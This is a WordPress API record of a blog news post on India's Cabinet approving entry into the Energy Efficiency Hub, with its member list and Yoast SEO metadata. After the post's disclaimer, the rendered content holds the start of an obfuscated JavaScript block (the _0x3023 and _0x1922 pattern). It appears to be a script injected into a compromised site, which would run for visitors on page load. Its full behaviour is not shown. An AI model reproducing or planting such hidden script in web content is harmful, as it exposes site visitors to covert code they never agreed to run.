{"id":9149,"date":"2024-10-04T08:50:44","date_gmt":"2024-10-04T08:50:44","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=9149"},"modified":"2024-10-04T08:50:45","modified_gmt":"2024-10-04T08:50:45","slug":"global-energy-hub","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/global-energy-hub\/","title":{"rendered":"India\u2019s Global Energy Hub Entry Approved by Union Cabinet"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/global-energy-hub\/#What_is_an_Energy_Efficiency_Hub\" >What is an Energy Efficiency Hub?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/global-energy-hub\/#Nations_Include_in_this_Energy_Efficiency_Hub\" >Nations Include in this Energy Efficiency Hub&nbsp;<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/global-energy-hub\/#India_Energy_Efficiency_Hub\" >India &amp; Energy Efficiency Hub<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/global-energy-hub\/#Wrapping_up\" >Wrapping up<\/a><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>India\u2019s Global Energy Hub Entry Approved by Union Cabinet<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">India\u2019s entry into the <strong>Global Energy Hub<\/strong> is now sealed by the Union Cabinet Ministry as it approves the proposal. This approval by Narendra Modi who chairs the Union Cabinet can make India shine in the energy sector, as it would help the nation access the exclusive 16-nation group, which will be sharing all the best strategic energy practices along with new-age innovative solutions as the Ministry of Power, India commented.&nbsp;&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-is-an-energy-efficiency-hub\"><span class=\"ez-toc-section\" id=\"What_is_an_Energy_Efficiency_Hub\"><\/span><strong>What is an Energy Efficiency Hub?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Energy Efficiency Hub <\/strong>can be referred to as a global platform built for promoting and fostering energy efficiency across the globe. It is a platform for collaborations between nations to drive their energy efficiency plans more efficiently.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It was established in 2020 and earlier it was known as the International Partnership for Energy Efficiency Corporation (<strong>IPEEC<\/strong>). India was a member of IPEEC as well. The sole purpose of this hub is to bring different governments, global organizations, private entities, practices, knowledge, and experiences of all these years.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-nations-include-in-this-energy-efficiency-hub-nbsp\"><span class=\"ez-toc-section\" id=\"Nations_Include_in_this_Energy_Efficiency_Hub\"><\/span><strong>Nations Include in this Energy Efficiency Hub&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Argentina<\/li>\n\n\n\n<li>Australia<\/li>\n\n\n\n<li>Brazil<\/li>\n\n\n\n<li>Canada<\/li>\n\n\n\n<li>China<\/li>\n\n\n\n<li>Denmark<\/li>\n\n\n\n<li>European Commission<\/li>\n\n\n\n<li>France<\/li>\n\n\n\n<li>Germany<\/li>\n\n\n\n<li>Japan<\/li>\n\n\n\n<li>Korea<\/li>\n\n\n\n<li>Luxembourg<\/li>\n\n\n\n<li>Russia<\/li>\n\n\n\n<li>Saudi Arabia<\/li>\n\n\n\n<li>United States<\/li>\n\n\n\n<li>United Kingdom<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-india-amp-energy-efficiency-hub\"><span class=\"ez-toc-section\" id=\"India_Energy_Efficiency_Hub\"><\/span><strong>India &amp; Energy Efficiency Hub<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">India becoming a member of a <strong>global energy hub<\/strong> means a lot of opportunities for the nation, especially in the energy landscape. With this membership, India can collaborate with other nations on the list, create opportunities for the energy industry, and share and gain expertise from across the globe while learning new best practices followed internationally.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">By promoting energy-efficient practices and solutions, India is expected to contribute to the worldwide efforts towards climate change. These practices and efforts can help to better the environment and address climate change, for which India is striving along with the world.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">At present, the <strong>Bureau of Energy Efficiency<\/strong> (BEE)<strong> <\/strong>will be working on behalf of India in the Hub as the implementing agency.&nbsp;<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"h-wrapping-up\"><span class=\"ez-toc-section\" id=\"Wrapping_up\"><\/span><strong>Wrapping up<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">The energy sector especially with the new projects and developments in the renewable and green energy space in India, and its target of Net Zero seems more attractive and achievable now with the entry of India in the <strong>International<\/strong> <strong>Energy Efficiency Hub<\/strong>.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.ndtv.com\/india-news\/union-cabinet-approves-proposal-for-indias-entry-to-global-energy-hub-6710664\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">NDTV<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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This approval by Narendra Modi who chairs the Union Cabinet can make India shine in the energy sector, as it would help the nation access the exclusive 16-nation group, which will be sharing all the &hellip; <a href=\"https:\/\/shoonya.com\/blog\/global-energy-hub\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;India\u2019s Global Energy Hub Entry Approved by Union Cabinet&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":9150,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[5433,5435,5432,5434,5431,5436],"class_list":["post-9149","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-bureau-of-energy-efficiency","tag-energy-efficiency-hub","tag-global-energy","tag-global-energy-consumption","tag-global-energy-hub","tag-ipeec"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Union Cabinet Approves India\u2019s Global Energy Hub Entry<\/title>\n<meta name=\"description\" content=\"India\u2019s entry into the global energy hub can help the country in its strive for achieving net zero and boost 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